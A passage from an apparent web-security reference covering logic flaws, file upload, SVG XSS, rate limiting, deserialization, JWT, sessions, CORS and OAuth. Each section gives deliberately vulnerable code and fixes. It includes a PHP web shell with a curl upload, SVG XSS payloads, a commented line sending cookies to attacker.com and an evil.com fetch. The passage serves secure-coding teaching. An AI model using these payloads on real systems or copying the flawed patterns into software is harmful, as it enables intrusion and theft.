Technical Impact: Inconsistent data states, unauthorized resource access, privilege escalation, and unpredictable application behavior under load, making debugging and auditing extremely difficult.
Fix & Prevention Best Practices:
Database Transactions and Locking: Use database transactions with appropriate locking mechanisms (e.g., SELECT ... FOR UPDATE in SQL) to ensure that concurrent operations on the same data are serialized and atomic. This ensures that a resource is locked during a critical read-modify-write operation.
Optimistic Concurrency Control: For non-critical scenarios or high-volume systems, use optimistic locking by including a version number or timestamp in your data. Before committing an update, check if the version number has changed since the data was last read, and if so, retry the operation.
Server-Side Synchronization: Implement server-side synchronization mechanisms (e.g., mutexes, semaphores, or queues) for critical sections of code that modify shared resources, ensuring that only one thread or process can execute the sensitive logic at a time. This should be combined with database transactions.
Detailed Description:
Business logic flaws are vulnerabilities that arise from defects in the design or implementation of the application's core business rules and workflows. Unlike technical vulnerabilities (like SQLi or XSS) that exploit underlying technologies, logic flaws exploit the assumptions, processes, and decision-making logic built into the application itself. These flaws are often unique to each application and can be challenging to identify with automated tools, requiring a deep understanding of the application's intended functionality.
Examples of business logic flaws include:
Price Manipulation: An attacker can alter product prices, coupon codes, or shipping costs during the checkout process to pay less than intended. This might involve modifying client-side values that aren't re-validated server-side, or exploiting discount code application logic.
Workflow Bypass: Skipping critical steps in a multi-step process. For instance, an attacker might bypass the payment step in an e-commerce application and directly access the order confirmation page, tricking the system into fulfilling an unpaid order.
Abuse of Feature Limits: Exploiting features designed with limits, such as free trial extensions, unlimited password reset attempts (without proper rate limiting), or adding more items to a cart than allowed.
Privilege Escalation via Logic: A user might exploit a flaw in how roles are assigned or verified to gain elevated privileges. For example, by intercepting and modifying a request to claim ownership of an object, or by using a specific user ID to access admin functions.
Incorrect State Transitions: A user performing actions in an unintended sequence. For example, cancelling an order after it has already been shipped and then getting a refund, even though the product is already en route.
Improper Input Sanitization for Logic: While input validation exists, it might not catch inputs that are technically valid but semantically malicious within the context of the business logic. For example, adding a negative quantity of items to an order to effectively subtract from the total.
These vulnerabilities often require manual testing and a hacker's mindset to discover, as they typically involve a series of legitimate-looking actions that, when chained together or executed in an unexpected order, lead to an illegitimate outcome.
Example Code Snippet:
A pseudo-code example of a vulnerable e-commerce checkout process where the price is not re-validated server-side after a coupon is applied.
# Vulnerable Python pseudo-code for e-commerce checkout
def process_order_vulnerable(cart_items, coupon_code, final_price_from_client):
# Insecure: Assuming final_price_from_client is correct after client-side coupon application
# This is a critical business logic flaw.
actual_calculated_price = calculate_total(cart_items) # Server-side calculation
if coupon_code:
# Assume server applies coupon and gets discount value
discount = get_coupon_discount(coupon_code, actual_calculated_price)
actual_calculated_price -= discount
# The vulnerability: The server accepts the client-supplied 'final_price_from_client'
# without re-validating it against the actual_calculated_price.
# An attacker could manipulate 'final_price_from_client' to be much lower.
if final_price_from_client == actual_calculated_price: # This check is flawed if client can tamper
# Process payment with final_price_from_client
payment_status = process_payment(final_price_from_client)
if payment_status == "SUCCESS":
database.create_order(cart_items, final_price_from_client)
return "Order placed!"
else:
return "Payment failed."
else:
# This else branch might not be hit if the attacker provides a 'valid' but manipulated price
# for a different coupon, or if the server doesn't rigorously re-calculate everything.
return "Price mismatch detected (basic check)."
# Attacker scenario:
# 1. Adds items to cart, total $100.
# 2. Applies legitimate coupon, client-side calculates $80.
# 3. Intercepts request to process_order_vulnerable.
# 4. Changes `final_price_from_client` to $10 (even though it should be $80).
# 5. If server doesn't re-calculate, attacker pays $10 for $100 worth of goods.
Business and Technical Impact:
Business Impact: Financial fraud (e.g., free products, services, money transfers), loss of revenue, unfair advantage for malicious users, reputational damage, customer distrust, and potential legal issues.
Technical Impact: Circumvention of intended application functionality, unauthorized access to resources, manipulation of data, and an application behaving in ways not intended by its design, leading to unpredictable system state.
Fix & Prevention Best Practices:
Validate All Business Logic Server-Side: Never trust client-side calculations or assertions related to business logic. All critical business decisions (e.g., pricing, authorization, workflow steps) must be re-validated and enforced on the server-side.
Detailed Logic Reviews and Threat Modeling: Conduct thorough manual code reviews, peer reviews, and threat modeling sessions focusing specifically on the application's business logic. Analyze critical workflows for potential bypasses, edge cases, and unintended interactions.
Implement Robust State Management: Ensure that the application correctly manages and validates the state of transactions and user sessions. Prevent users from skipping steps in a multi-step process or performing actions out of sequence by enforcing state transitions on the server.
Detailed Description:
Unrestricted File Upload vulnerabilities occur when a web application allows users to upload files to the server without properly validating, sanitizing, or restricting the file's type, content, or size. This can enable an attacker to upload malicious files, such as web shells (scripts that provide remote command execution capabilities), reverse shells, or even full executables, which can then be executed on the server. Once a malicious file is uploaded and executed, it often leads to complete compromise of the web server.
The danger of this vulnerability is profound because it grants the attacker a direct foothold on the server. Common exploitation vectors include:
Uploading Web Shells: If an attacker can upload a .php, .jsp, .asp, or similar script file, and the web server is configured to execute these files in the uploaded directory, the attacker gains remote code execution. They can then browse files, execute system commands, access databases, and pivot to other systems.
Bypassing File Type Checks: Attackers often try to bypass file type validation by:
Changing file extensions: Uploading shell.php.jpg or shell.php%00.jpg (null byte injection) if the server only checks the last extension.
Manipulating MIME types: Changing the Content-Type header from image/jpeg to application/x-php while keeping a .php extension.
Using legitimate-looking files: Embedding malicious script within seemingly harmless files like .svg (as discussed in XSS through SVG), .hta, or certain archives.
Overwriting Existing Files: If the application generates predictable filenames or allows renaming, an attacker might overwrite legitimate application files, leading to defacement or denial of service.
Denial of Service: Uploading excessively large files can exhaust disk space or bandwidth, leading to DoS.
Effective prevention relies on a multi-layered approach, scrutinizing not just the file extension but also its true content and ensuring it cannot be executed in its storage location.
Example Code Snippet:
A PHP script that allows users to upload files, only checking the Content-Type header (which is easily spoofed).
// Vulnerable PHP code snippet for Unrestricted File Upload
<?php
if (isset($_FILES['file'])) {
$file_name = $_FILES['file']['name'];
$file_tmp = $_FILES['file']['tmp_name'];
$file_type = $_FILES['file']['type']; // Easily spoofed!
// Insecure: Only checking MIME type from client
// Attacker can upload a .php file but set Content-Type to 'image/jpeg'
if ($file_type == "image/jpeg" || $file_type == "image/png") {
$upload_dir = "uploads/";
if (move_uploaded_file($file_tmp, $upload_dir . $file_name)) {
echo "File uploaded successfully.";
} else {
echo "Error uploading file.";
}
} else {
echo "Invalid file type.";
}
}
?>
<!-- Attacker crafts a form or uses a tool like Burp Suite -->
<!-- Malicious file content for 'shell.php': <?php system($_GET['cmd']); ?> -->
<!-- Attacker's request using curl: -->
<!-- curl -X POST -F "[email protected];type=image/jpeg" http://example.com/upload.php -->
<!-- If successful, attacker can visit: http://example.com/uploads/shell.php?cmd=ls%20-l -->
Business and Technical Impact:
Business Impact: Complete compromise of the web server, data breaches, website defacement, internal network penetration, ransomware attacks, and significant financial and reputational damage.
Technical Impact: Remote Code Execution (RCE) on the server, ability to execute arbitrary commands, install backdoors, exfiltrate sensitive data, and pivot to other systems within the network.
Fix & Prevention Best Practices:
Strict Whitelisting of File Types: Do not rely on MIME types or file extensions from the client. Instead, perform server-side validation using a strict whitelist of allowed extensions (e.g., .jpg, .png, .pdf) and verify the actual file content (magic bytes) to confirm its true type.
Rename Files and Store Securely: Generate a unique, unpredictable filename for uploaded files (e.g., a UUID). Store uploaded files outside of the web root directory or in a dedicated, non-executable directory. If files must be served, use a secure download mechanism that controls access.
Scan for Malware and Implement Sandboxing: Integrate anti-malware scanning for all uploaded files. Consider using sandboxed environments or separate servers for processing and storing user-uploaded content to further isolate potential threats and prevent execution on the main web server.
Detailed Description:
XSS through SVG (Scalable Vector Graphics) is a specific type of Cross-Site Scripting attack that leverages the interactive and scriptable nature of SVG files. SVG is an XML-based image format that can contain JavaScript. If a web application allows users to upload SVG files and then serves these files directly to other users without proper sanitization, an attacker can embed malicious JavaScript within an SVG image. When a victim's browser renders this SVG, the embedded script executes in the context of the application's domain, leading to an XSS attack.
This vulnerability is particularly insidious because:
Bypasses Image Type Checks: SVG files often pass basic image file type checks (e.g., checking Content-Type headers or even some magic byte checks for XML).
Looks Like a Normal Image: From a user's perspective, they might just see an innocent-looking image.
Powerful Scripting Capabilities: SVG supports <script> tags, event handlers (onload, onclick, onerror), and other features that allow for full JavaScript execution, similar to traditional XSS.
Attackers can embed various XSS payloads within SVG files, such as:
Using <script> tags directly: <svg><script>alert(document.domain)</script></svg>
Using onload event handlers: <svg onload="alert(document.domain)"/>
Using JavaScript within <style> blocks (though less common for direct XSS, can be part of more complex attacks).
The challenge for applications that accept SVG uploads (e.g., profile pictures, forum avatars, content images) is to parse and sanitize these files thoroughly, stripping out all executable content while preserving the visual integrity of the graphic. Simply checking the file extension or MIME type is insufficient.
Example Code Snippet:
An application allowing SVG uploads and displaying them directly.
<!-- Vulnerable HTML displaying a user-uploaded SVG directly -->
<!-- Assume 'user_image.svg' is an SVG file uploaded by an attacker -->
<img src="/user_uploads/user_image.svg" alt="User Avatar">
<!-- Attacker's 'user_image.svg' content: -->
<!--
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
// Malicious JavaScript to steal cookies
alert("XSS via SVG! Your cookies: " + document.cookie);
// In a real attack, this would send cookies to an attacker-controlled server
// new Image().src = "http://attacker.com/log?c=" + encodeURIComponent(document.cookie);
</script>
<rect width="100%" height="100%" fill="blue"/>
<text x="50%" y="50%" fill="white" font-size="20" text-anchor="middle">Click Me!</text>
</svg>
-->
<!-- When a victim visits a page displaying this SVG, the script executes. -->
Detailed Description:
Missing rate limiting is a vulnerability where an application does not restrict the number of times a user (or an attacker) can perform a certain action within a given time period. This absence of control allows attackers to execute brute-force attacks, denial-of-service attacks, or bypass security mechanisms designed to prevent rapid, repetitive attempts.
Common scenarios and their impacts:
Brute-Force Login: Without rate limiting on login attempts, an attacker can try thousands or millions of username/password combinations against an account or against many accounts until they find valid credentials. This directly leads to account takeovers.
PIN Code Brute-Force: Similarly, if a system uses PIN codes (e.g., for two-factor authentication, transaction approval, or account recovery) and lacks rate limiting, an attacker can easily guess the PIN and bypass the security control.
Password Reset Token Brute-Force: If password reset tokens are short-lived or have limited entropy, and the password reset endpoint isn't rate-limited, an attacker can brute-force the token, gaining control over a user's account.
API Abuse/Denial of Service: Attackers can overwhelm specific API endpoints (e.g., search, contact form submissions, complex data processing) with a high volume of requests, leading to server performance degradation, resource exhaustion, or increased infrastructure costs for the legitimate user.
Account Enumeration: By observing responses (e.g., "username not found" vs. "invalid password"), an attacker might be able to rapidly confirm valid usernames without rate limits, aiding in further attacks.
Coupon Code Brute-Force: Attackers can rapidly try different coupon codes to find valid or high-value ones.
Effective rate limiting should be implemented across all critical endpoints, especially those involved in authentication, authorization, or resource-intensive operations. The rate limit should consider various factors like IP address, user ID (if authenticated), session ID, and potentially even device fingerprints to prevent attackers from simply switching IPs.
Example Code Snippet:
A simplified login endpoint without any rate-limiting logic.
# Vulnerable Python (Flask pseudo-code) for a login endpoint without rate limiting
from flask import Flask, request, jsonify
app = Flask(__name__)
# This is a simplified example; a real app would interact with a database
users_db = {
"user1": "pass123",
"admin": "adminpass"
}
@app.route('/login', methods=['POST'])
def login():
username = request.json.get('username')
password = request.json.get('password')
if username in users_db and users_db[username] == password:
return jsonify({"message": "Login successful!"}), 200
else:
# NO RATE LIMITING HERE! An attacker can make unlimited attempts.
return jsonify({"message": "Invalid credentials."}), 401
# Attacker uses a script to send thousands of login requests per second:
# while True:
# send_post_request('http://example.com/login', json={'username': 'admin', 'password': 'guess'})
# This allows brute-forcing the 'admin' password until it's guessed.
Business and Technical Impact:
Business Impact: Account takeovers, financial fraud, reputational damage, service unavailability (DoS), increased infrastructure costs, and potential regulatory fines due to security breaches.
Technical Impact: Brute-force attacks (passwords, PINs, tokens), account enumeration, resource exhaustion on the server (CPU, memory, bandwidth), and bypassing security mechanisms.
Fix & Prevention Best Practices:
Implement Rate Limiting on Critical Endpoints: Apply rate limits to all sensitive operations like login, password reset, account creation, and API calls. Use headers like X-RateLimit-Limit and X-RateLimit-Remaining to inform users.
Use Robust Captchas/MFA for High-Risk Actions: For high-risk actions or after multiple failed attempts, introduce CAPTCHAs, multi-factor authentication (MFA), or temporary account lockouts to significantly increase the cost and complexity for attackers.
Monitor and Alert: Implement monitoring and alerting for unusual traffic patterns or a high number of failed attempts on critical endpoints. This can help detect and respond to brute-force attacks in real-time. Use centralized logging and SIEM systems.
Detailed Description:
Deserialization vulnerabilities occur when an application deserializes untrusted data without proper validation or integrity checks. Deserialization is the process of converting a stream of data (e.g., bytes, JSON, XML) back into an object in memory. If an attacker can control the serialized data, they can craft a malicious object graph that, when deserialized, triggers arbitrary code execution, denial of service, or other malicious actions on the server. This is often due to the deserializer instantiating arbitrary types or invoking methods that have dangerous side effects during the deserialization process.
These vulnerabilities are extremely dangerous because they can often lead to Remote Code Execution (RCE). The core issue is that many deserialization mechanisms are "too powerful" or "too trusting," meaning they can instantiate objects of virtually any class available in the application's classpath and call arbitrary methods. An attacker crafts a serialized payload that, when processed, executes malicious code. This is particularly prevalent in languages like Java (via ObjectInputStream), Python (pickle), PHP (unserialize), Ruby (Marshal), and .NET (BinaryFormatter).
Common exploitation scenarios include:
Remote Code Execution: The most severe outcome. Attackers inject objects that, upon deserialization, trigger system commands, load malicious libraries, or interact with dangerous APIs.
Denial of Service: Crafting objects that cause infinite loops, excessive resource consumption, or throw unhandled exceptions, leading to application crashes.
Bypassing Authentication/Authorization: Injecting objects that modify security contexts or user roles.
Arbitrary File Write/Read: Creating objects that can write to or read from arbitrary file paths on the server.
Deserialization vulnerabilities are difficult to prevent because simply validating the data's format (e.g., "it's valid JSON") is not enough; the problem lies in what the data represents when it becomes an executable object. The best practice is to avoid deserializing untrusted data entirely or to use extremely safe, restricted deserialization mechanisms.
Example Code Snippet:
A vulnerable Java application using ObjectInputStream to deserialize user-supplied data.
// Vulnerable Java code snippet for Deserialization Vulnerability
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Base64;
// Imagine an attacker sending a base64 encoded payload that, when deserialized,
// creates an object whose readObject() or constructor executes a malicious command.
// Dummy class to illustrate: if an attacker can make the server deserialize an object
// that triggers system commands, it's RCE.
class CommandExecutor implements Serializable {
private static final long serialVersionUID = 1L; // Recommended for Serializable classes
private String command;
public CommandExecutor(String cmd) {
this.command = cmd;
}
// A malicious attacker might craft a payload for a class already on the classpath
// that has a vulnerable readObject() method, or an attacker could try to make
// the system deserialize a class that directly executes commands.
// For a real exploit, this would involve gadget chains from common libraries.
// This is NOT how a real exploit works directly, but illustrates the concept.
// A real exploit chain would find existing classes and methods.
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject(); // Deserialize default fields
// In a real exploit, this is where the gadget chain would kick in
// For demonstration, let's pretend a real gadget leads to this:
System.out.println("Executing command: " + command);
Runtime.getRuntime().exec(command);
}
}
public class DeserializationVulnerable {
public static void main(String[] args) throws Exception {
// Attacker crafts a serialized CommandExecutor object with a malicious command
// This would be Base64 encoded and sent as part of a request.
// For demonstration, let's create a *malicious* payload locally:
CommandExecutor attackerPayload = new CommandExecutor("calc.exe"); // On Windows
// In reality, the attacker wouldn't directly instantiate their own CommandExecutor
// but would use a "gadget chain" from existing libraries.
// Simulating attacker-supplied base64 encoded serialized object
// (For simplicity, we're not actually serializing here, just representing)
String base64Payload = "yv66vgAAADQA... (malicious serialized bytes)"; // Actual malicious payload
byte[] serializedBytes = Base64.getDecoder().decode(base64Payload);
ByteArrayInputStream bais = new ByteArrayInputStream(serializedBytes);
// VULNERABLE: Directly deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // This line triggers the vulnerability
ois.close();
System.out.println("Deserialized object: " + obj.getClass
Business and Technical Impact:
Business Impact: Catastrophic data breaches, complete server compromise (leading to RCE), intellectual property theft, financial losses, regulatory non-compliance, reputational damage, and extended service outages.
Technical Impact: Full control over the underlying server and operating system, ability to execute arbitrary commands, install malware, exfiltrate data, and pivot into the internal network. This is one of the most severe technical vulnerabilities.
Fix & Prevention Best Practices:
Avoid Deserializing Untrusted Data: The most effective prevention is to simply not deserialize data from untrusted sources. If data must be transmitted, use safer data formats like JSON or YAML and implement strict parsing and validation.
Use Serialization Filters/Whitelisting: If deserialization is unavoidable, implement serialization filters or whitelisting to restrict the types of classes that can be deserialized. Only allow known, safe classes to be instantiated, and block all others.
Ensure Data Integrity: If using serialization, cryptographically sign the serialized data to ensure its integrity. This prevents an attacker from tampering with the serialized object without detection.
Detailed Description:
Authentication token issues encompass a range of vulnerabilities related to the insecure handling, generation, or validation of authentication tokens, particularly JSON Web Tokens (JWTs). These flaws can lead to unauthorized access, session hijacking, or privilege escalation. Tokens are central to modern authentication systems, and any weakness in their implementation can severely undermine security.
Key issues include:
Insecure JWT Usage:
Weak Signing Keys: If JWTs are signed with weak, predictable, or publicly known keys, an attacker can easily forge valid tokens. This often involves using default keys, hardcoded keys, or keys that are susceptible to brute-force attacks.
alg None Attack: Some JWT libraries, if not properly configured, can be tricked into accepting tokens with the alg (algorithm) header set to None, meaning the token is not signed. An attacker can then forge a token with arbitrary claims without needing a key.
Information Disclosure: JWTs often contain claims (e.g., user ID, roles). If these claims are sensitive and not encrypted (only signed), they are merely base64 encoded and easily readable by anyone.
Token Replay Attacks: If tokens (especially refresh tokens or session tokens) have no expiration or a very long expiration, and are compromised, an attacker can reuse them indefinitely to impersonate the user. This is particularly problematic if the application doesn't implement a mechanism to revoke compromised tokens.
Token Fixation: An attacker can force a user's browser to accept a pre-determined session token (which the attacker already knows) before the user logs in. When the user then logs in, they are authenticated with the token the attacker provided, allowing the attacker to hijack the session. This is common if session IDs are accepted from URL parameters.
Missing Signature Validation: Failing to validate the cryptographic signature of a JWT means the server accepts any claims, even if they're completely fabricated by an attacker.
Long-Lived Tokens: While convenient, tokens with excessively long lifetimes (e.g., permanent tokens) significantly increase the window of opportunity for an attacker if the token is compromised.
Proper implementation of JWTs and other authentication tokens requires careful attention to cryptographic best practices, robust server-side validation, and sensible token lifecycle management.
Example Code Snippet:
A vulnerable Node.js application using a weak signing key for JWTs and not handling the alg header securely.
// Vulnerable Node.js (Express) code snippet for JWT issues
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.json());
// VULNERABLE: Weak, hardcoded secret key for JWT signing
const SECRET_KEY = 'mySuperSecretPassword123'; // EASILY GUESSABLE/BRUTE-FORCEABLE
// Login endpoint that issues a JWT
app.post('/login', (req, res) => {
const { username, password } = req.body;
// In a real app, validate credentials against a database
if (username === 'testuser' && password === 'password123') {
// VULNERABLE: Issues token with weak key, default alg, long expiration
const token = jwt.sign({ userId: 123, username: username, isAdmin: false }, SECRET_KEY, { expiresIn: '1d' });
return res.json({ token });
}
res.status(401).send('Invalid credentials');
});
// Protected route
app.get('/profile', (req, res) => {
const token = req.headers['authorization']?.split(' ')[1];
if (!token) {
return res.status(401).send('No token provided');
}
try {
// VULNERABLE: If jwt.verify is not configured with 'algorithms' option,
// it might accept 'alg: None' if the library's default behavior allows.
const decoded = jwt.verify(token, SECRET_KEY);
// If 'alg: None' attack is possible and successful,
// an attacker can create {"userId":123,"username":"testuser","isAdmin":true}
// and sign it with an empty signature or no signature.
req.user = decoded;
return res.json({ message: `Welcome ${req.user.username}`, user: req.user });
} catch (error) {
return res.status(401).send('Invalid token');
}
});
Business and Technical Impact:
Business Impact: Unauthorized account access, session hijacking, privilege escalation (e.g., from regular user to admin), data breaches, fraud, reputational damage, and financial losses.
Technical Impact: Compromise of user sessions, bypassing authentication and authorization controls, ability to forge identities, and potential for full system control if administrative accounts are compromised.
Fix & Prevention Best Practices:
Use Strong, Cryptographically Secure Keys: Generate and use long, random, and cryptographically strong keys for signing JWTs. Store these keys securely (e.g., in environment variables, secret management services) and never hardcode them or expose them. Rotate keys regularly.
Explicitly Validate JWTs & Algorithms: Always validate the token's signature, expiration, and other claims on the server-side. Crucially, explicitly specify the allowed algorithms (e.g., HS256, RS256) when verifying a JWT to prevent alg None attacks. Never trust the alg header from the token itself.
Implement Short Token Lifespans and Revocation: Use short-lived access tokens. For longer sessions, employ a refresh token mechanism. Implement a server-side token invalidation/revocation list (e.g., a blacklist or a check against a database) to immediately invalidate compromised tokens or logged-out sessions.
Detailed Description:
Insecure session management encompasses vulnerabilities that arise from improper handling of user sessions, which are crucial for maintaining user state across multiple requests. Flaws in session management can lead to session hijacking, unauthorized access, and impersonation.
Key areas of concern include:
Session Fixation: This attack allows an attacker to "fix" a victim's session ID to a known value. The attacker sets the victim's session ID (e.g., by sending a malicious link with a JSESSIONID parameter in the URL or via a pre-set cookie). When the victim then logs in, the application accepts this pre-set session ID and associates it with the new authenticated session. The attacker, who already knows this ID, can then use it to hijack the victim's authenticated session. This often happens if an application doesn't generate a new session ID after successful authentication.
Missing Secure Flag: If the Secure flag is not set on session cookies, the browser might send the session cookie over unencrypted HTTP connections. An attacker on the same network can easily sniff this unencrypted traffic and steal the session cookie, leading to session hijacking.
Missing HttpOnly Flag: If the HttpOnly flag is not set on session cookies, client-side scripts (JavaScript) can access and steal the session cookie. This makes XSS attacks much more potent, as a successful XSS payload can directly steal the victim's session token and send it to an attacker-controlled server.
Weak Session IDs: Using predictable, sequential, or easily guessable session IDs makes it possible for attackers to brute-force or guess valid session IDs, leading to unauthorized access. Session IDs should be long, random, and cryptographically secure.
Session Reuse Across Subdomains (Cookie Domain Attribute): If a session cookie's Domain attribute is set too broadly (e.g., .example.com instead of www.example.com), it means the cookie will be sent to all subdomains. If one subdomain is compromised (e.g., via XSS), it can steal the session cookie for the main application, even if the main application is secure.
Session Timeout Issues: Sessions that never expire, or expire only after an excessively long period, increase the window of opportunity for an attacker to use a stolen or fixed session ID. Conversely, overly short timeouts can degrade user experience.
Robust session management is foundational to web application security and requires careful configuration of cookie attributes, secure ID generation, and appropriate lifecycle management.
Example Code Snippet:
A vulnerable Node.js (Express) application demonstrating insecure session cookie settings and session fixation.
// Vulnerable Node.js (Express) code snippet for Session Management issues
const express = require('express');
const session = require('express-session'); // Example session middleware
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.json());
// VULNERABLE: Insecure session configuration
app.use(session({
secret: 'weak_secret', // Weak secret, could be brute-forced or guessed
resave: false,
saveUninitialized: true,
name: 'sessionId', // Predictable session ID cookie name
cookie: {
// VULNERABLE: Missing 'secure' flag (allows cookie over HTTP)
// VULNERABLE: Missing 'httpOnly' flag (allows JS access)
// VULNERABLE: Default 'path' and 'domain' may be too broad
maxAge: 3600000 * 24 * 30 // VULNERABLE: Very long session timeout (30 days)
}
}));
// Login endpoint
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'testuser' && password === 'password123') {
// VULNERABLE: Session Fixation - does NOT generate a new session ID after login
// If an attacker set req.session.id before login, it persists.
req.session.userId = 123;
req.session.username = username;
return res.json({ message: "Login successful!" });
}
res.status(401).send('Invalid credentials');
});
// Attacker scenario for Session Fixation:
// 1. Attacker visits: http://example.com/?sessionId=attacker_known_id
// (If the app accepts session IDs from URL, this sets a cookie for the victim)
// 2. Victim visits attacker's link. Victim's browser now has 'sessionId=attacker_known_id'.
// 3. Victim then navigates to http://example.com/login and logs in.
// 4. If the application doesn't regenerate the session ID, the victim's authenticated session
// is now tied to 'attacker_known_id'.
// 5. Attacker, using 'attacker_known_id', can now access the victim's authenticated session.
Business and Technical Impact:
Business Impact: Account takeovers, impersonation, unauthorized access to sensitive information and functionality, financial fraud, reputational damage, and severe compliance violations.
Technical Impact: Session hijacking, bypassing authentication, unauthorized access to user-specific data, and increased attack surface for XSS (if HttpOnly is missing).
Fix & Prevention Best Practices:
Regenerate Session ID on Authentication: Always generate a new, cryptographically strong session ID for a user after they successfully authenticate. This prevents session fixation attacks.
Set Secure and HttpOnly Flags: Ensure all session cookies have the Secure flag (cookies only sent over HTTPS) and the HttpOnly flag (cookies inaccessible to client-side scripts) to protect against sniffing and XSS-based cookie theft.
Strict Cookie Domain & Path: Configure cookie Domain and Path attributes precisely to limit their scope. Avoid overly broad domains (.example.com) to prevent session reuse across subdomains unless absolutely necessary and with strong justification. Implement appropriate session timeouts (idle and absolute) and provide a mechanism for users to manually invalidate their sessions.
Detailed Description:
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that restricts web pages from making requests to a different domain than the one from which the page originated. This "Same-Origin Policy" (SOP) is a fundamental security model for the web. However, modern web applications often need to legitimately access resources from different origins (e.g., an API hosted on a separate domain). CORS provides a controlled way to relax SOP, but if misconfigured, it can introduce security vulnerabilities.
A CORS vulnerability arises when a server's CORS policy is too permissive, allowing untrusted or malicious origins to make cross-origin requests that should be restricted. This can lead to:
Sensitive Data Disclosure: If a server sets Access-Control-Allow-Origin: * (allowing any origin) and also includes sensitive credentials (e.g., Access-Control-Allow-Credentials: true), a malicious website can make an authenticated request to the vulnerable application's API and read the response. This means an attacker can access sensitive data (like account details, PII) that the victim's browser would normally prevent.
Abuse of Authentication: If Access-Control-Allow-Credentials: true is combined with a dynamic but flawed Access-Control-Allow-Origin (e.g., reflecting the Origin header from the request without proper validation, or allowing origins that start with a specific string that can be bypassed), an attacker can craft a malicious origin to bypass the whitelist and make authenticated requests.
CSRF with Response Reading: While CSRF generally doesn't allow attackers to read responses, a misconfigured CORS policy that permits arbitrary origins with credentials can enable a malicious site to perform a CSRF attack and then read the response, disclosing sensitive data from the victim's session.
The key to preventing CORS vulnerabilities is to configure Access-Control-Allow-Origin very carefully, typically whitelisting only the exact domains that genuinely need cross-origin access, and to be extremely cautious when allowing credentials.
Example Code Snippet:
A vulnerable Node.js (Express) API with an overly permissive CORS configuration.
// Vulnerable Node.js (Express) code snippet for CORS
const express = require('express');
const cors = require('cors'); // Popular CORS middleware
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.json());
// VULNERABLE: Overly permissive CORS configuration
// This configuration allows ALL origins (*) and also allows credentials.
// A malicious website can make authenticated requests to this API and read responses.
app.use(cors({
origin: '*', // Allows any origin to make requests
credentials: true // Allows cookies, authorization headers, etc., to be sent
}));
// Example API endpoint
app.get('/api/sensitive-data', (req, res) => {
// Assume user is authenticated via cookie or Authorization header
if (!req.session.userId) { // Or check for JWT, etc.
return res.status(401).send('Unauthorized');
}
// VULNERABLE: If origin is '*', attacker can read this response.
res.json({
userId: req.session.userId,
email: '[email protected]',
sensitiveInfo: 'This is highly confidential data.'
});
});
// Attacker scenario:
// A malicious website (e.g., http://evil.com) hosts the following JavaScript:
// fetch('http://vulnerable-api.com/api/sensitive-data', { credentials: 'include' })
// .then(response => response.json())
// .then(data => alert('Stolen data: ' + JSON.stringify(data)));
// When a victim, logged into 'vulnerable-api.com', visits 'evil.com',
// this script executes, makes an authenticated request, and reads the sensitive data.
Business and Technical Impact:
Business Impact: Unauthorized disclosure of sensitive user data, PII, and internal application data, leading to data breaches, compliance violations, reputational damage, and loss of customer trust.
Technical Impact: Circumvention of the Same-Origin Policy, enabling malicious websites to make authenticated requests to the vulnerable application's APIs and read the responses, effectively bypassing client-side security mechanisms.
Fix & Prevention Best Practices:
Strictly Whitelist Allowed Origins: Configure Access-Control-Allow-Origin to explicitly list only the domains that are permitted to make cross-origin requests. Avoid using * (wildcard) especially when credentials: true.
Avoid Access-Control-Allow-Credentials: true with Wildcard: Never combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. If credentials must be allowed, Access-Control-Allow-Origin must be a specific, whitelisted origin.
Careful Dynamic Origin Reflection: If dynamically reflecting the Origin header, ensure it is rigorously validated against a whitelist of trusted domains using a robust regex or string comparison. Do not simply reflect the Origin header without verification.
Detailed Description:
OAuth and federated identity protocols (like OpenID Connect, SAML) are widely used for delegated authorization and single sign-on (SSO). While these protocols are designed with security in mind, their complexity means that misconfigurations are common and can lead to severe vulnerabilities, including account takeovers, unauthorized data access, and impersonation. These misconfigurations typically arise during the integration of these protocols into web applications.
Common OAuth/Federation misconfigurations and vulnerabilities:
Insecure Redirect URIs: The most common vulnerability. If the redirect_uri (or callback_url) parameter in an OAuth flow is not strictly validated and whitelisted by the Identity Provider (IdP), an attacker can register their own malicious URL as a valid redirect URI. This allows them to intercept the authorization code or access token, which can then be exchanged for a victim's access token, leading to account takeover.
Weak state Parameter: The state parameter in OAuth is crucial for CSRF protection. If the client application doesn't generate a strong, unique state for each request and validate it upon callback, an attacker can perform a CSRF attack to log in the victim to the attacker's account, or intercept the authorization flow.
Client Secret Exposure: If the client_secret (used by confidential clients to authenticate with the IdP) is hardcoded in client-side code, exposed in public repositories, or stored insecurely, an attacker can steal it and impersonate the client application to gain unauthorized access.
Insufficient Scope Validation: If the client application requests more permissions (scopes) than it needs, or if the server doesn't properly validate that the requested scopes are appropriate for the client, it could lead to excessive privileges if the access token is compromised.
Lack of PKCE for Public Clients: For public clients (like mobile apps or SPAs) where a client secret cannot be securely stored, the Proof Key for Code Exchange (PKCE) extension is essential. Without PKCE, an attacker could intercept the authorization code and exchange it for an access token.
Improper Token Validation: The application (Resource Server) might fail to validate the aud (audience), iss (issuer), exp (expiration), or signature of an ID Token or Access Token, allowing forged or expired tokens to grant access.
User Enumeration: Errors in the authentication flow might expose whether a username exists or not, aiding in brute-force attacks or reconnaissance.
Securing OAuth and federated identity integrations requires meticulous attention to every parameter and endpoint configuration, strict adherence to best practices, and thorough testing.
# Vulnerable Python (Flask pseudo-code) for an OAuth Callback
from flask import Flask, request, redirect, url_for, session
import requests
import os
app = Flask(__name__)
app.secret_key = 'super_secret_key' # Insecure in real-world for simplicity
CLIENT_ID = os.environ.get("OAUTH_CLIENT_ID")
CLIENT_SECRET = os.environ.get("OAUTH_CLIENT_SECRET")
AUTHORIZATION_BASE_URL = "https://oauth-provider.com/oauth/authorize"
TOKEN_URL = "https://oauth-provider.com/oauth/token"
USERINFO_URL = "https://oauth-provider.com/userinfo"
# VULNERABLE: This redirect URI isn't strictly whitelisted, potentially accepting attacker URLs
